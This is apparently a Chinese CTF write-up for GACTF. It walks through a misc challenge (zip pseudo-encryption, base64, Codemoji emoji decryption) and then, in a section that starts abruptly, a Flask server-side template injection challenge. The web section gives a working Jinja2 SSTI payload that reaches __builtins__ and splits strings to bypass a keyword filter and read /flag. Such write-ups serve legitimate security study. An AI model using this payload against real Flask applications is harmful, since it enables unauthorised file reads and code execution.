https://pan.baidu.com/s/1EZzhnAa5Q4OD8y-YEAcjzQ
提取码:866h
https://drive.google.com/drive/folders/1gDfMBrtqwvi7f9BaB1ixjogeLDascjED?usp=sharing
下载下来一个
crymisc.docx
,一看打不开果然改成 zip,发现有伪加密。
1.txt
内容为:
I'm going to tell her how i feel.DO YOU WANT TO KNOW WHAT I TOLD HER?
另外是一张图片,发现结尾有东西,至少有个压缩包。
提取出来。
SSB3YXMgcmVqZWN0ZWQuLi4uLi5USElTIElTIFRIRSBQQVNTV09SRDpJIFdhbm5hIENyeXl5ISEh
首先对上面这段 base64,得到压缩包密码。
I was rejected......THIS IS THE PASSWORD:I Wanna Cryyy!!!
压缩包需要先补上文件头,即变成 504B0304…
拿密码去解压,文件内容如下。
🔭💙🐰✊🌻🐧💙😘🌻🍶💐🍌🏊🍩🚁🏊👹🐶😀🐶😀😘👹💙🍂💇😀😀😩🌻🍟👂🍶💐🍌🏊🍩👆🏠🙇🍂🍂👼😱🚔🐶👉✊😱🏠🙇🍂🍂👼😱🚊😧💨💙💕
That is what i told her↑↑↑
什么,您就是抽象带师?
想起来在 BJD3rd 里 TaQini 师傅就出过一题,就是
Manual 这题的一部分
。
参考
那题的思路
,盲猜就是 Codemoji 了!根据提示key应该就是个哭的表情吧,就😭这个了。
P.S.:
codemoji GitHub repo
(Mozilla Public License 2.0)
好耶,咱也部署一个!
就在这里了!
->
https://codemoji.miaotony.xyz
欢迎来玩呀(
于是构造 payload 如下:
{"message":"🔭💙🐰✊🌻🐧💙😘🌻🍶💐🍌🏊🍩🚁🏊👹🐶😀🐶😀😘👹💙🍂💇😀😀😩🌻🍟👂🍶💐🍌🏊🍩👆🏠🙇🍂🍂👼😱🚔🐶👉✊😱🏠🙇🍂🍂👼😱🚊😧💨💙💕","key":"😭"}
base64encode + URLencode:
eyJtZXNzYWdlIjoi8J%2BUrfCfkpnwn5Cw4pyK8J%2BMu%2FCfkKfwn5KZ8J%2BYmPCfjLvwn4228J%2BSkPCfjYzwn4%2BK8J%2BNqfCfmoHwn4%2BK8J%2BRufCfkLbwn5iA8J%2BQtvCfmIDwn5iY8J%2BRufCfkpnwn42C8J%2BSh%2FCfmIDwn5iA8J%2BYqfCfjLvwn42f8J%2BRgvCfjbbwn5KQ8J%2BNjPCfj4rwn42p8J%2BRhvCfj6Dwn5mH8J%2BNgvCfjYLwn5G88J%2BYsfCfmpTwn5C28J%2BRieKcivCfmLHwn4%2Bg8J%2BZh%2FCfjYLwn42C8J%2BRvPCfmLHwn5qK8J%2BYp%2FCfkqjwn5KZ8J%2BSlSIsImtleSI6IvCfmK0ifQ%3D%3D
而后丢去解密。
https://codemoji.miaotony.xyz/share.html?data=eyJtZXNzYWdlIjoi8J%2BUrfCfkpnwn5Cw4pyK8J%2BMu%2FCfkKfwn5KZ8J%2BYmPCfjLvwn4228J%2BSkPCfjYzwn4%2BK8J%2BNqfCfmoHwn4%2BK8J%2BRufCfkLbwn5iA8J%2BQtvCfmIDwn5iY8J%2BRufCfkpnwn42C8J%2BSh%2FCfmIDwn5iA8J%2BYqfCfjLvwn42f8J%2BRgvCfjbbwn5KQ8J%2BNjPCfj4rwn42p8J%2BRhvCfj6Dwn5mH8J%2BNgvCfjYLwn5G88J%2BYsfCfmpTwn5C28J%2BRieKcivCfmLHwn4%2Bg8J%2BZh%2FCfjYLwn42C8J%2BRvPCfmLHwn5qK8J%2BYp%2FCfkqjwn5KZ8J%2BSlSIsImtleSI6IvCfmK0ifQ%3D%3D
得到flag。
WelcometoGACTF!ThisisthepasswordGACTF{H4ppy_Mi5c_H4ppy_L1fe}
Flask debug pin安全问题
这一篇文章。
于是又整了半天绕过……
首先拿到
object
。
一顿操作拿到
__builtins__
。
发现
chr
之类的函数并没有,然而并不能用
{% xxx %}
来设置就很难受。
本来想用
os.popen
这一模块来执行命令读取信息的,但不知道为啥
read()
就被拦了。
最后问了队里大师傅,发现换成
open
就完事了,太草了!
Payload:
name={{[].__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["op""en"]("/fl""ag").read()}}
GACTF{fac9165b6a2b5ac8bd3b99fad0619366}
后面再整理一下 flask 的 SSTI 常用 payload 及绕过技巧吧(
大概率会咕咕咕(